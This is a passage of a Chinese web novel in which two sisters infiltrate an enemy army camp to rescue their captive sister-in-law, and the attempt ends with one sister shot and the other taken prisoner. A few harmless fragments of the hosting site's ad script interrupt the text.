董莉莉也不知道为什么,或许是出于她作为一个前远征队成员的直觉,她能觉察到天气的变化,它越来越恶劣了,而且,还有继续恶劣下去的迹象。 这一年,春天很晚才到来,比以往的每一个春天都要晚。夏天一如既往地缺席,秋天一闪而过,现在又是冬季了。 除了对万物的观察,有一种深邃的第六感这么告诉她:如果继续这样下去,世界会在严寒之中灭亡。就仿佛曾经见过这样的景象一般,她始终有这样的感觉。 而战争却在继续。这显然不是一场为了战胜寒冷而演化出来的战争,这只是人们为了自己的利益,而对身处同一片土地上的悲惨同胞刀剑相向。 这样的战争,在世界的灭亡面前,究竟有什么意义,她想不明白。 就在思考这些的时候,身边的杂物堆里传来了一阵响动。 董夜明的反应非常快,拉着董莉莉立刻撤退,向一旁坍塌的墙壁掩体躲避。 眼前是一片由废弃物构成的杂物堆,看样子都是黎军剩下来不要的东西。他们的举动很奇怪,明明杀害了整个镇子里的人,但是却又把废弃物堆积在一起,保持周围的整洁。就像是一个虚伪的君子,明明已经动手插了好几刀,夺去了对方的性命,然而,却把受害者的衣服打理整齐,笑着说安息。 那个杂物堆动了动,从里面冒出来了一个脑袋。一个虚弱的声音传了出来,“救救我……” 有人被埋在了杂物堆下面,那是一个男人,脸上有不少血迹和污渍。而且他模样有些眼熟,应该是这个镇子上的居民。 “有幸存者!”董莉莉喊道,跑了过去,董夜明紧随其后。 两人合力把男人拉了出来。后者的模样非常惨烈,衣服全都扯坏了,缝隙里全是沙子和石头,不知道哪里受了伤,身体上全都是凝固的血痂。 “咳咳……谢谢。”男人没有从地上站起来的力气,躺着就不动了,但还没忘了给姐妹俩道谢。 董莉莉问他,“你怎么会在这里?你是怎么活下来的,镇子里还有其他人活着吗?” 207. 营救计划1 她问了一连串的问题,男人勉强摆了摆手,那意思似乎在说,应付不了,且等他慢慢来。 模样惨烈的男人平复了一阵子呼吸,然后说道:“他们来得太突然了……我一开始躲进了家里,把自己锁起来。但是他们开始放火,我怕被呛死,就跑了出来。 “然后、然后,也不知道怎么回事,那些士兵们明明距离我们很远,可一声声巨响传来,街上的人全死了。 “我很害怕,也趴在地上,以为能这么混过去。但是他们不肯放过我们,拿着刀过来,往每个倒地的人身上插。我没办法,又转移了阵地,钻进垃圾堆里……他们果然没有检查垃圾堆,只是又倒了许多垃圾上来……” 董莉莉听着,不由得皱紧了眉头。那些画面在她眼前生动地浮现,这太残忍了,黎军根本是在将镇民赶尽杀绝。 “垃圾堆里很臭,也很沉,骨头都被要被压断了。但是为了活下去,我只能这么做……”男人打量了一下面前的两个姑娘,说,“你们是,克拉娜家里的那一对姐妹吧……你们还活着,真是万幸……” 听到这里,董莉莉问道:“你有没看到克拉娜和她的孩子?” “他们……”男人想了想,说道,“不在这里。” 董莉莉的心提到了嗓子眼,她努力维系着自己的平静,生怕听到什么回答,让她整个人瞬间崩溃,“不在这里是什么意思,他们在哪里?母女俩并不在自己的家里,门是开着的,但是我们找遍了镇子,哪里都没有能找到他们的身影……” “不,他们已经不在镇子里了。”男人摇了摇头,说道,“我亲眼看见,有一个短头发的女人带着一伙士兵包抄了她的家,把克拉娜和她儿子一并从家里带走了。” 听到这里,董莉莉一惊,“带走了?把他们带到哪里去了?” “军队里。应该是。”男人不太确定地说,“那几人出了镇子,就不知道他们的踪迹了。我一直躲在这里,不敢出去……” 董莉莉和董夜明对视了片刻,两人都是一头雾水。 仔细回忆了一番男人刚才的话,他说一个女人把那母子俩带走了。究竟是什么人,会在黎军开始烧杀掠夺之前,把他们带走? 肯定不会是黎礼,因为,站在敌人的角度想,他们母子俩对她没有任何的价值,不过是随处都很常见的母亲和孩子。 那么,究竟是谁带走了他们,又究竟是出于怎么样的目的? “他们被黎军带走了。”董莉莉对董夜明说道,“但是,为什么?” 董夜明也是摇摇头,“不知道……” 这个时候,男人痛吟了一声,他咬牙说道:“唔……那堆垃圾实在太重了,我的腿可能折了,你们能把我运到别的地方去吗,这里太臭了……” 董莉莉回过神来,应道:“好。” 她和董夜明一左一右把男人架起来,往西边走了一些,回到暮落镇的大道上,暂时先把男人放到了一堵残垣旁。 这时,董夜明向董莉莉问道:“姐,现在怎么办?” 董莉莉的表情十分凝重,说道:“虽然可能会很危险……但我还是想追上去。嫂子和小祁可能还活着,如果他们真的被黎军抓走了,我们得想办法把他们救出来。” 这的确是一个非常危险的决定,但是,这回,董夜明却没反对,而是提出了自己的建议,“要追上大军的话,光徒步肯定不行。我俩的衣服值点钱,再在废墟搜刮点没烧化的令,去附近的镇子上买匹马。正好我也太久没用刀了,给我也弄把武器耍耍。” 听董夜明的意思,她已经做好了追上去的准备。阵线的统一让董莉莉感到内心镇定,“虽然带上武器,但一定不要冲动行事,救人是我们的第一要务,绝对不要和黎军产生冲突。” 董夜明笑了笑,“现在突然这么冷静了?昨天看到镇子上着火,你可不是这样的反应。” 董莉莉不想和她争论这件事,没接话。 那之后,她们先在镇子上搜刮了一番,把还能卖两个钱的东西全都捡走了。 而后,又将伤痕累累的男人运到了西门,找到了那个装水的木车,把水桶从车上卸了下来,让男人躺了上去。 两姐妹拉着车往最近的镇子上走,打算把男人送到那里去救治,顺便在镇子上买一些东西。 一路上,男人一直感激地对她们道谢。 她们抵达了附近的镇子,把男人交给了医馆,然后便带着钱财去买东西。 之前从暮落镇的废墟里掏出来的钱不少,所以破额买了两匹马,又给董夜明配了一把长弯刀,给董莉莉买了一把防身的匕首。又去集市上买了些干粮,两个水袋,两身和大地颜色相近的、土黄色的衣服,以便在原野上藏身。 就这样,姐妹俩出发了。 黎军的动向十分地明确,他们虽然杀害了暮落镇的所有人,就像是为了不让任何人把他们的罪行传播出去,但是,对于车马留下的痕迹,他们却是根本不加以掩饰。 根据董夜明的推测,他们的行军应该非常地迅速。 在这个有些军事经验的小妹眼里,黎军的动向非常的诡异,她说,如果不是主城失守,或者急于赶往救援,在对前路一无所知的情况下,行军速度不会这么快。 可这些黎军士兵就像是疯了一样,不在乎前面有什么,也不管补给的事情了,军队的补充全靠在路上掠夺经过的镇子。他们就像是一群亡命之徒,拼了命地往下一个目的地赶去。 也就是因为这样,董莉莉和董夜明花了更多的时间才追上他们。 在一个黄昏,姐妹俩看到了大军的影子。即便是马上就要天黑的时刻,它依然没有停止前行。 就像她们推测的那样,黎军像是疯了,变为一只急行军,那种急迫,那种速度,不是一般的行军状态可以比拟的。 董莉莉和董夜明就在后面尾随了一阵子,保证不会和他们拉开太大差距的同时,又不会被军队末尾的卫兵发现。即便黎军行军速度如此之快,整个军队的构成却依然还是那么严明,将士们各司其职,滴水不漏。 到了天快黑下来的时候,这只军队终于停下了了。士兵们开始搭建军营,准备在这片空无一物的原野上过夜。 他们没有任何的补 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 给,仅仅是通过劫掠周围的镇子存活,从暮落镇到现在,一路上,董莉莉已经见到了好几个被掠夺一空的小型村落,而那些地方,无疑,都变成了一片生灵涂炭的死地。 这种场景,就仿佛死神在奔赴一场宴会,而他所到之处,遍布着哀嚎与死亡。 一个个军账搭了起来,此刻正值军队懈怠混乱之时。 看着这幅景象,姐妹两人都认为这是为数不多出手的好机会,虽然赶了几天的路,她们都很疲惫,但是,好不容易追上了这支军队,遇上了他们如此松懈的时机,下一次机会不知道会在什么时候。 于是乎,姐妹俩商量了一番,准备趁现在混入军营。 观察了许久之后,董夜明离开了他们藏身的斜坡,在黑暗中往驻扎地靠拢。她提着自己的那把弯刀,小心翼翼,每往前行进一段距离,都谨慎地观察下一个落脚点,甚至下下个落脚点,在确保安全的前提下,于这些落脚点之间飞快地转移。 在一次次移动之后,她已经离驻扎地非常近了。 董莉莉也跟在她的步伐后面,一点点接近。 离军营不远的时候,他们看到两个士兵正往他们的方向走来,似乎是出来找地方行方便的。 董莉莉捡起了一颗石头,往另一侧投掷过去,吸引这两个士兵的注意力。声音响起的那一刹那,他们纷纷往音源的方向望去,而就在这个瞬间,董夜明从他们背后的阴影中扑了出来,长刀出鞘,一瞬间,甚至连惨叫的声音都没来得及发出来,两个士兵纷纷倒下,没有了声响。 年轻的女孩出手很快,她天赋很高,又常年不间断地训练,普通士兵根本不是她的对手。 董夜明把人拖进了阴影里,董莉莉也走了过去,看到自己的妹妹正在扒那两个士兵的盔甲。 董莉莉上前去帮忙,一边忙活着,一边说道:“你没必要杀了他们的……” 董夜明没有抬头看自己的老姐,手上非常熟练地拆卸盔甲,说道:“想想他们做过什么,想想燃烧的镇子,他们每一个都罪该万死。” 忙活了一阵子,把两个士兵红白相间的军装扒了下来,再穿在自己的身上,戴上头盔,掩饰住自己的面容。两人的身形虽然不比一般男人高大,但是如果说她们是士兵,也勉强说得过去。长发倒是不成什么问题,因为天气的原因,留长发的男性只多不少。 准备万全之后,两人向彼此投去了一个眼神,将那两个士兵的尸体隐藏起来,而后,往军营内部走去。 营地之中,一个个军账整齐地排列着,其间传来食物的香气,土灶旁围着一圈又一圈的士兵,正是进食的时候,没人注意到两个偷偷潜入军营的闯入者。 “你觉得嫂子他们会在这里吗?”边走着,董夜明边以非常微弱的声音问道,声音只有他们姐妹俩自己能听见。 董莉莉同样以非常小的声音回她,“应该就在这里。按照那个暮落镇民的描述,他们是被黎军带走的。” 董夜明说道:“从远处看不觉得……进来之后才发现这里太大了。” 董莉莉说道:“嫂子他们会在哪里呢……” 208. 营救计划2 董夜明摆出一副思考的模样,片刻后,她答道:“他们现在应该是俘虏吧。虽然实在不知道,俘虏他们是为了什么。” 董莉莉问:“俘虏一般会在什么地方?” 董夜明说道:“反正不在外围……应该是有士兵把守的地方,离军营中心不远。” “嗯。”董莉莉应道,“那就往中心去,这样遇上他们的可能性或许会大一些。” 决定了前往的方向,姐妹往主帅营帐的方向走去。它很好找,毕竟个头最大,旁边还插着一只帅旗。 找到了,但是不敢靠近,这里有太多士兵把守。姐妹俩虽然穿着黎军的军装,但也必须谨慎行事。万一被发现,身在敌营,只有死路一条。 “在这周围找找看吧。”董莉莉说道。 她们以主帅的营帐为中心,在半径三个营帐的范围内搜寻,暗中观察着每一个营帐的情况。 然而,无论这些营帐是空着的,还是有人,似乎都不是关押俘虏的地方。 就在这个时候,从集体土灶那边传来了响动,已经有吃完了饭的将士往回走,欲回到各自的营帐之中。 董莉莉和董夜明刚好在那些人的必经之路上,没有地方可以去,便只好站在原地,假装在聊天的样子,背对着那些人,等待他们陆陆续续过去。 她们根本不想引起任何的注意,然而,事实却往往不按照预期发展。 一个沉重的脚步声朝她们而来,停在了不远处,沙哑的声音传来,“你们待在这干什么呢?” 董莉莉的心都提到了嗓子眼,这时候,如果不转过去,堂堂正正地面对对方,就会显得自己的行为怪异,招惹来更多的注目。 显然,董夜明也和她是同样的想法,两人几乎是在同一时间转过身。 妹妹比姐姐更快地进入了角色。 “你是?有什么事吗?”董夜明以非常男性化的粗鲁音线、反客为主地问道。如果不是认识她,见过她头盔下面的脸,不会觉得这是一个女人。 对方是一个高大威猛的男性将士,看着姐妹俩的时候,几乎要完全地低下头来。他的目光有些凶煞,抬起一只手,指着她们背后的营帐,“你们挡住我了。” 姐妹俩一惊,往后面看去,确实,背后是人家营帐的帐口。两人给让出了路来,那个大个子钻了进去,而后,这短暂的插曲就结束了。 虚惊一场,出了一身冷汗,反正董莉莉是这样,她不知道董夜明紧不紧张。 这时候,董夜明在四处观察着,似乎一点胆怯的心理都没有,她观察了一阵子,对自己的姐姐说道:“你在这里等我,我去打听打听情况。” “怎么打听?”听她这么说,董莉莉不知道董夜明要去做什么,反而有些担忧。 董夜明说道:“就是随便聊聊天。” 董夜明离开了姐姐,往经过的人堆里走过去,她低着头,走着走着,看似不小心地碰到了一个人的肩膀,而后,抬起头来,连连道歉。 不知道她说了些什么,只见对面那个男人本要生气,却又摆摆手,将董夜明的肩揽住,勾肩搭背地往前走。两人就那么走着,期间好像说了些什么话,走到一个营帐门口的时候,那个将士似乎在邀请董夜明进去,但是董夜明摇了摇头,就在那个营帐前面和刚认识的将士分别。 她做完了这件事,又回到了董莉莉所在的地方,面有兴奋之色,语气也是一样,“姐,我打听出来嫂子的位置了。” 董莉莉一惊,不知道她和那士兵说了什么,居然这么快打听了出来。她问道:“在哪?” 董夜明道:“跟我走。” 两姐妹趁着夜色,在黎军的军营里潜伏着行进。 董夜明带着她往军营的北面走,那里有一块突出来的营地,刚才从远处观察军营的时候,就觉得那里有些特殊。而现在,两人就在往这个方向前进。 周围的普通士兵越来越少,相反,看上去是精锐的士兵却越来越多,周围也变得更加寂静、肃穆。 两人在阴影里走动,避免和任何将士的接触。 穿过一个又一个营帐,在一堆看不出差异的布篷之中,她们发现了一个有精锐兵把守的营帐,它不大,孤零零的立着,周围堆放了一些辎重,把它圈了起来。 营帐内部透出来些许光亮,那光是暖的,看上去竟然有些温馨。 一个剪影在营帐上面出现,看那动作的姿态,显然,她是一个女人。 仅仅通过这个剪影,姐妹俩都认出了里面的人。 “嫂子……!”董莉莉惊讶地小声说道。 董夜明的声线也有些雀跃,“看来就是这里了。” 这个时候,一个小小的剪影也出现在了营帐之上,毫无疑问,那是白祁。 董莉莉感觉到一阵心安,这么多天悬着的心终于落了下去,甚至眼眶都有些温热,“小祁也没事……” 董夜明观察了一阵子,开口,声音非常理智、低沉,像是还没有从刚才扮演的男性士兵角色里抽身出来,“门前那两个精锐兵看上去很难搞,我虽然有把握拿下他们,但是,肯定没办法在一瞬间解决。引发骚乱就糟了,会将我们置于险境之中……必须得另外想一个办法。” 董莉莉提议道:“绕到那个营帐的后面怎么样?和嫂子他们先取得联系,让他们知道我们来救他们了。” 董夜明道:“现在看来也只能这样了。” 两姐妹商量出来了对策,便开始行动起来。 她们绕了一大圈,避开了所有精锐兵的视线,藏身于那些辎重车之间,终于慢慢移动到了关押克拉娜的营帐后。 两个人靠近它,悄悄在那上面敲了两下,布料与骨节击打,发出不大的声响。 营帐里面,女人的剪影一滞,她往出声的地方靠拢,贴近了那薄薄的一层防风布料,声音透过它传来,带着疑惑,“谁……?” 董莉莉压着嗓子,小声冲对方说道:“是我们,嫂子,是我和夜明。” “莉莉,夜明?”营帐里面,克拉娜的惊讶的声音传过来。 董莉莉和克拉娜对话的间隙,董夜明警惕地看着周围,观察这附近的风吹草动。 董莉莉安慰一般对帐里的人说:“是我们,嫂子,不要害怕,我们来救你们了。” 克拉娜的声音有一丝惊慌,“你们怎么会在这里?这里太危险了……!” 董莉莉:“没事,我们是混进来的,现在还没有被发现。” “你们不应该来的,快走……”克拉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娜紧张的声音传了出来,隔着一层布,显得有些模糊。 董莉莉说道:“我们都已经到这里了,肯定会想办法把你们救出来。嫂子,你手边有什么工具,能从里面把这个营帐弄破吗?” 然而,对面的克拉娜却似乎完全没有考虑董莉莉所说的话,只是一味说道:“快走,别待在这里,莉莉,带着你妹妹快走。” 董莉莉皱着眉头,她没想到克拉娜会如此害怕,害怕到无法配合她们。董莉莉低声,劝慰地说道:“只有和你们一起,我们才会离开这里。所以,现在听我的,好吗?我们一定会把你们救出去。现在是黑夜,方便隐蔽身形,我们——” “不,听我的,你们赶紧走。”克拉娜打断了她,她的身形动了动,向营帐靠近,音色更加急迫,说道,“我不会离开这里。我不能离开这里,他们……” 听到这里,董莉莉觉得有些疑惑,“怎么了,嫂子,为什么你不能走——” “姐!” 突然,董夜明大声地喊她,这声音之大,似乎完全不在乎是否会将她们自己的存在暴露。 董莉莉只感觉自己受到了猛烈的撞击,一下子摔在地上,与此同时,一声巨响在脚底炸开,几抹腥土溅到了脸上。 她稳住自己的视线,看过去,发现是董夜明将她扑倒。在她们的脚底下,有一个手指头粗的小坑。 一阵脚步声响起,从四面八方而来。 抬头看去,董莉莉顿时脸色惨白。 一群精锐兵围拢在她们周围,他们手中没有刀剑,只有枪支。刚才开枪的,便是其中一个精锐兵,他在以一个标准的姿势换弹,准备下一发的射击。 董莉莉张大了嘴,震惊不已,感觉身体无法行动,定在原地,什么也做不了。 “还以为是什么人,一直鬼鬼祟祟跟在军队的末尾。”这时候,一个女人声音传来过来,那声音有些慵懒、困倦,但也掩盖不了它的贵气与庄重。 声音的主人从一众精锐之中走出来,立在他们所有人的前面,盯着地上的两个姐妹,女人没什么起伏地说道:“卫兵来通报了好几次,我还以为是法陆贡提前派来的探子。” 董莉莉盯着那个女人,嘴巴张合,表情木讷,“黎……礼。” 董夜明护在董莉莉的前面,神色不善,“你早就发现我们了?” 黎礼叹了口气,像是有些疲乏了似的,她没有回话。与些同时,她的身后面又闪出了一个影子,那是一个年轻许多的女孩,看上去模样和黎礼十分的相近。她是黎礼和杜义的女儿,黎梦。 年轻的女人笑着,目光近乎残忍,盯着董家的一对姐妹,说道:“就说闻到了一股老鼠味,原来是这两个贱东西。” 黎礼对董家姐妹两人开口,音色比起她的女儿要沉着许多,不带有任何讥笑的意味,只是充满了漠然与不在乎,“你们跟着大军,是想把白家的母子救出去?” 即使被一众枪兵包围了,董夜明也临危不惧,以一个问题回答女人:“你抓他们干什么?” 黎礼没有表现出什么不满,只是说道:“他们有些用处。” 黎梦此刻插话进来,“母亲,这两个人总归没什么用吧,我最近没怎么打架,手都生了,可以拿她们练枪吗?” 209. 营救计划3 黎礼还是一副无所谓的模样,“随意。” 她说完这两个字,就抱胸站在一旁,一副想等事情结束就立刻离去的模样。 得到了母亲的许可,黎梦几乎恐怖地扬起了一个笑容,她从身边的精锐那里抢过来了一杆枪,边摩挲着它,边盯着姐妹俩,“自从这种武器面世,除了训练的时候,我几乎都没怎么用过它。要好好待在那里,乖乖做我的靶子哦。” “开什么玩笑……”董夜明咬着牙,齿间传来摩擦声,阴沉地说道。 黎梦将长枪搭在自己的手臂上,她歪着头,一只眼睛闭上,手指搭上了扳机。 董莉莉近乎绝望地看着眼前的景象,一切发生得太快了,她根本反应不过来。 为什么她们会暴露? 这个问题还没有得到解答的时候,就已经看到那杆象征着死亡的武器对准了她和她的妹妹。 董夜明挡在了她的身前,似乎想用肉|体去接下所有子弹。 黎梦的指尖在往回扣,那是子弹射出之前的征兆。 董莉莉无法挪开视线,盯着那个黑色的枪口,像看着一把即将插进自己心脏的屠刀。 为什么会变成这样。她们会死吗? 被枪打中是什么感觉? 怎么办。谁能来救救她们—— 就在这千钧一发之际,从黎梦的背后伸出来了一只手。扳机按下去的同时,那只手压低了枪杆。砰一声,子弹朝地面射出,冲进泥土里,不见踪迹。 黎梦转过身去,看着身后的人,模样有些气急败坏,说道:“你干什么!?” 从她身后走出来了一个白发的男人,他的手依然按在枪杆上,目光盯着黎梦,不苟言笑。 “先不要这么着急。”男人说。 董莉莉盯着来人,瞪大了眼睛,无法转移视线。 怎么回事? 为什么她会看到熠大哥? 难道自己已经死了吗,所以能够看到已死之人的身影。 董莉莉有些木讷地转过头去,看向自己的妹妹。 结果,却在她的脸上发现了如出一辙的震惊表情。 ……不是幻觉。 董莉莉掐了一下自己的手背,疼。 也没有死。 可是为什么?熠大哥明明早就已经…… 黎梦猛然从白熠的手中把枪收回来。男人虽然看着个头挺高,身子骨却是脆弱的,胳膊和手掌都没什么力量,轻而易举就让对方得逞了。 年轻的女人开始重新给长枪装弹,嘴上咒骂着,“妈的,坏我好事。” 白熠没有与黎梦对峙,转头去看黎礼,说道:“现在暂时不要杀她们。” 黎礼一副无所谓的模样,“为什么?” “她们还有用处。”白熠说道。 “能有什么用处?”黎梦填好了子弹,又要把枪口对准董家姐妹。 董莉莉感觉一旁的妹妹骤然拥紧了自己。 “放下,黎梦。”黎礼轻声说道。 她声音不大,可是威压却不小。黎梦看了一眼自己的母亲,犹豫一瞬间,乖乖放下了枪。 董夜明盯着白熠,满脸的不可置信,小声嘀咕道:“他还活着……?” 听到董家小妹的声音,白熠的视线投望过来,他没有解释,也没有不理会,只是没什么意义地肯定,“嗯,我还活着。” 这个回答让董莉莉清醒了一些。 眼前的人是活生生的,他几乎没怎么变样,还是以前的模样。 除了他现在站在敌人的身侧这点以外,什么都没变。 董夜明不理解地问道:“可我听说你已经……” 白熠似乎理解董夜明要说什么,他只是一味地肯定着,像曾经那样,有问必答,有求必应,“嗯,我那时没死。” 这时候黎礼挥动了一下手臂,她没有下令说要干什么,但是精锐兵已经非常迅速的行动起来,他们分成了两拨,一拨在前,一拨在后,枪口依然对准了中间的两个女人。 举止端庄的女人和白熠继续着刚才的话题,她问道:“留着有什么用处,白熠?她们可不像你的妻儿,可以用来要挟你。” 白熠面上波澜不惊,他道:“虽然这件事你我心知肚明……但你居然当面说出来,着实是让我很惊讶。” 黎礼:“我们之间,还有什么需要隐瞒的阴暗心思吗?” 白熠一笑,转移话题,“难道除了我之外,你就没有其他意图要挟的人?” “确实还有那么几个。”黎礼道。 “我很肯定,杜光欧在那其中。”白熠说道。 黎礼道:“这是必然。” 白熠道:“那么,就有留她们做人质的必要。” 黎礼沉思了片刻,像在考虑白熠的话,盯着董家的姐妹,看天秤上的砝码一般。 董莉莉尚在震惊之中,听到了两人的交谈,更深重的不解找上了她。 要挟,人质。 熠大哥到底在说什么? 他为什么要和一个敌人说这些? “最近事情繁多,我有些忘记了……”黎礼说道。她的模样一直都很疲惫,像是白天没有睡好,又像是有什么繁重的思绪一直在压迫着她,“她们之中,哪一个是和我儿走得很近的那个?” 白熠张了张口,一个答案似乎要脱口而出,但是,他猛然止了声,看向董家的姐妹,一种犹豫的神情出现在他的目光之中,男人说道:“这……” 黎礼道:“我军养不了那么多闲人,告诉我,是哪一个。” 白熠闭紧了嘴,似乎不打算回答这个问题。 这时候,黎梦跳了出来,喊道:“我知道!是董家的姐姐,那个叫董莉莉的。” 在生死攸关之际听到自己的名字,董莉莉的心脏不由一颤。 黎礼盯着她们,问道:“哪个是姐姐?” 众人沉默。 “快点说,不然两个都别活。我也不是必须通过这种手段控制我儿。”黎礼说。 董莉莉紧盯着眼前那个掌握生杀大权的女人。 就算脑海里的震惊迟迟不去,结合他们刚才所有的对话,董莉莉也知道现在是什么情况。 黎军养不了那么多俘虏,黎礼需要知道姐妹两人谁是和杜光欧关系更近的长姐,然后只留下长姐,杀掉小妹。 董莉莉抓过董夜明的手,握得死死的。 她绝对不会说。 绝对不会把妹妹—— 啪的一声,董夜明甩开了她的手。 女孩短暂地回过头来,看了一眼自己的姐姐。 在精锐兵的包围之间,在一把把枪口的威胁之下,在营帐篝火的映照之中,像是想要看清自己姐姐的脸,董夜明近距离地凝望着她,只一瞬间。 “别——”董莉莉下意识地唤道。她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的手往前一捞,但是,却只捞到了一捧冰冷的空气。 董夜明往前走了一步,腰杆挺得笔直,像是一堵坚实的墙,她的声音坚决、镇定,“我是妹妹,她是姐姐。” 黎礼盯着董夜明,平淡地说:“好。” 一声枪响,从黎礼的身旁爆发,它来自黎梦手中的枪,烟雾弥漫开来,子弹从枪膛里弹出,沿着笔直的轨迹击中了它的目标。 董莉莉看到董夜明的身体在往后倾倒,就像是她们小时候玩的信任游戏一样。一个人站在椅子上,闭着眼睛,身体自由地向后倒去,将自己全心全意交给身后的人。 几乎条件反射地,她冲上前去托住了妹妹的身体,就像小时候做的那样。 她抱着她,静静地等待着。 等妹妹咯咯地笑起来,说这回轮到姐姐你接住我了。 但是,她的妹妹没有说话。董夜明半睁着眼睛,没有笑,没有看她,一注血流从她额头上的洞口留下来,沿着眉头、鼻翼,滑过她的脸颊,停留在下颚上,越积越多,越积越浓稠,而后,终于挂不住,滴在了董莉莉的胳膊上。 董莉莉盯着自己的妹妹,怀里抱着依然温热的身体,却感到浑身发冷,脑海里空白一片。 黎梦挥了挥手,驱散周围开枪产生的烟雾,她重新拿了一颗弹丸,装弹,抬高,瞄准,一边说道:“母亲,说实话,我看那个董莉莉也不爽很久了。她总是和哥哥混在一起,扰得我心烦。既然她们都不怎么重要,那我把她们都杀了也没关系吧?” “黎梦,放下。”黎礼再次简短地命令。 黎梦微微压低了枪杆,但是这回母亲的命令却未能让她心服口服,她模样依然随时准备开枪,“为什么呀……如果只是想把哥哥引出来,把俘虏了她的风声放出去不就行了。不管是死是活,只要说她人在我们这里,不也是一样的效果吗?” “黎梦,我说了,把枪——” “啊啊啊——!” 黎礼的话没有说完,突然,一阵凄厉撕扯的喊声传遍了整个军营。 人们向声音的源头看过去,那是董莉莉,她抱着怀里的妹妹,在哀戚地悲鸣。一瞬间,她的模样仿佛是一个远古的生灵,在月光之下,哭泣她永无法再见的亲人。 嘶喊了片刻,却感觉身体里的郁结无法消弭。 这一刻,她已经不知道自己在做什么了,站起来,朝枪手的方向扑了过去。身体像是被什么东西控制了一样,以最原始的方式想要破坏、杂毁、撕碎,直到内心的哀恸和极怒熄灭下去。 “哎呀,她疯了!”黎梦说道。 董莉莉没能靠近她的仇敌,半路她就被杀出来的精锐拦截。一个横踢击中腹部,她猛然向后翻倒,摔在地上,但过了半晌,她又站了起来。 什么也感受不到,没有痛楚,眼里只有仇人的面庞。她必须过去,用自己的指甲,用自己的牙齿,将那张现在依然充满了笑意的脸撕裂。 董莉莉再度扑过去,但是,还是没能得逞。两边有人劫持住了她,控制住双臂,将她提了起来。她被限制在了原地,疯了一般挣动着,眼里只有那个依然在笑的女人。 “我从来没见过她这么疯的样子,简直是太难看啦。”黎梦睁大了眼睛,像是看到了什么新奇玩意,眼中混杂着鄙夷和惊奇。她将手里的长步枪戳在地面上,发出一声钝响,眼睛中闪过一丝凶光,“母亲,我果然还是想杀了她。” 210. 营救计划4 黎礼淡漠地向自己的女儿瞥过去,像是勉强才分出了一点心神,回应年幼之人的暴躁,“将来你会有机会。” 黎梦像是完全没听到母亲的话语一般,又或者,听到了,但是她完全不想理会。将枪架在自己的胳膊上,像是捕猎的野兽,盯住自己的猎物,目不转睛。 “黎梦。”黎礼低声叫她的名字,语气中有一丝怒意。 黎梦哆嗦了一下,身子僵硬了片刻,然而,下一刻,她还是继续着自己的动作,歪过头来,用一只眼睛瞄准,食指扣在扳机之上,微微发力。 董莉莉在身边两个士兵的控制之下,始终无法脱身。她不屈的目光落在那个黑色的枪口,盯着那个夺去了她妹妹性命的凶器。 内心没有恐惧,没有害怕,只有深刻的恨意。 仇恨的黑火将她焚烧,使她在生命的最后一刻脱胎换骨。 原来恨一个人是这种感觉。 有些突兀地,在这命悬一线的时候,她想起来了另一个人。 那是她的远征队队长,是陪她从小一起长到大的人,是在天涯海角都寻不到的人,是想要一起回家的人。 便是在这一刻,董莉莉想起了他来。 但这不是因为突如其来的怀念,更不是临死而想起了重要的人……或许有一部分这些原因。但,更重要的是,便是在自己妹妹死去的这一刻,她突然理解了他。 她也在经历失去亲人痛楚、面对仇人的恨意、被信任之人背叛的悲愤、身处绝境的无望,以及对这一切的后悔。 理解他的恨、他的绝望、他被背叛的悲痛,以及致使他想要孤身一人行动的悔恨。 她理解,因为,她也在经历着这些。 此刻,董莉莉充满了暴怒和悲哀的心里,短暂地冒出了几个问题。 ——光欧,如果是你的话,这时候你会怎么做? ——被这些恨、绝望裹挟着,无法思考,无法行动,甚至性命垂危的瞬间,你会做什么? ——我的话…… 嘭! 一声巨响,黎梦手中的兵器又在冒烟。 没有人来得及阻止她,她又得手了。 黎礼皱着眉头,向一旁的精锐怒斥,“拿走她的武器!” 精锐兵上前,将黎梦团团围住,抢走了她手里的长枪。 女人没有反抗,任精锐兵夺去的武器,立在原地,有些执着地盯着她的目标。 不远处,董莉莉的身体软趴趴地被两个精锐兵架着。像是受到了巨大的冲击一般,她的头往后仰去,脆弱的脖颈整个露了出来,几乎要断折了似的。 包围圈里安静了一阵子,董家姐妹一个倒在地上,一个不再发出激烈的悲吼,事至如今,这场无果的营救就这么结束了。 “白折腾了一趟。”黎礼说。 白熠往黎礼的身边靠近了一些,表情平静,对她说道:“刚才黎梦有一点说得没错,想要把杜光欧引出来,不一定非得需要一个活的董莉莉。” 黎礼的面容看不出什么情绪,她抱着自己的身子,对白熠说:“对故人,你还真是一点感情都没有啊。” “要感情有什么用呢。” 黎礼冷哼了一声,“果然,聪明人都很无情。” “过奖。” 黎礼摆摆手,示意那些精锐把董家姐妹的遗体处理掉。 周围出来了两个士兵,要去回收董夜明地上的尸体。而架着董莉莉的两个精锐也行动了起来。 一旁,一直无言的黎梦就这么看着这一切。 就在精锐要带董莉莉离开的时候,黎梦突然双眼大睁,指着几人,喊道:“她没死!这婊子骗我,她没死!” 黎梦像是疯了一般,扑向身边一个精锐兵,就要去抢对方手中的枪。但是,这回,精锐们都多有防范,没让她得逞,反而把癫狂的女人控制住了。 黎梦没有武器,又被一伙精锐拦着,只好尖声朝董莉莉喊道:“你装什么!?” 此刻,所有人的视线都向董莉莉投了过去。人们要看看是不是真像黎梦说的,她还活着。 而就在这些人的注视之中,董莉莉缓缓抬起了头来,额头上没有半点破损,只是耳尖上流着血,擦破了一层皮。她的目光无比坚毅,里面燃烧着熊熊怒火,就那么盯着黎梦。 黎梦大叫:“居然敢骗我,你以为你是谁——” 这时候,黎礼站了出来,给周围两个精锐下令道,“把她带走。” 接收到命令的精锐兵有些疑惑,问道:“哪一个?” “两个都带走。”黎礼说道,“把她们分开,杜绝接触。” 精锐领受了命令,将黎梦拖了下去,这个过程中,她依然在对董莉莉怒吼,口中冒出一段段脏话,不堪入耳。 黎梦的声音越来越小,渐渐听不见了。而董莉莉身边的两个精锐兵也有了动作,他们将她提了起来,按住关节,不让她自由行动,将她往人墙外押送。 董莉莉不再反抗,这两个精锐兵的力气很大,最开始她就领受过了。 